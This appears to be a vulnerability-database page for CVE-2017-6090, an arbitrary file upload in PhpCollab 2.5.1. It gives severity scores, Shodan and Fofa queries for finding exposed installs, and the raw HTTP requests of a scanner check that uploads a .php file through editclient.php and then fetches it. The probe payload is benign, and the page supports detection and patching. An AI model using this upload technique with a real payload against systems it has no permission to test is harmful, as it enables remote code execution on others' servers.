| Title | PhpColl 2.5.1 Arbitrary File Upload |
|---|---|
| Author | pikpikcu |
| Severity | High |
| Impact | Successful exploitation of this vulnerability can result in unauthorized remote code execution on the affected system. |
| Remediation | Apply the latest patch or upgrade to a newer version of PhpColl to mitigate this vulnerability. |
| CVSS Score | 8.8 |
| EPSS Score | 0.86913 |
| CVE ID | CVE-2017-6090 |
| CWE ID | CWE-434 |
| Shodan Query | http.title:"PhpCollab"http.title:"phpcollab" |
| Fofa Query | title="phpcollab" |
| Tags | cve cve2017 phpcollab rce fileupload edb intrusive vkev vuln |
PhpCollab 2.5.1 and earlier allows remote authenticated users to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in logos_clients/ via clients/editclient.php.
POST /clients/editclient.php?id=38FgORtJR75zwxrVxydeE6AzhPw&action=update HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
Connection: close
Content-Length: 305
Content-Type: multipart/form-data; boundary=---------------------------154934846911423734231554128137
Accept-Encoding: gzip
-----------------------------154934846911423734231554128137
Content-Disposition: form-data; name="upload"; filename="38FgORtJR75zwxrVxydeE6AzhPw.php"
Content-Type: application/x-php
<?php echo md5("CVE-2017-6090");unlink(__FILE__);?>
-----------------------------154934846911423734231554128137--
GET /logos_clients/38FgORtJR75zwxrVxydeE6AzhPw.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/118.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-6090.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-6090.pcap
N/AN/A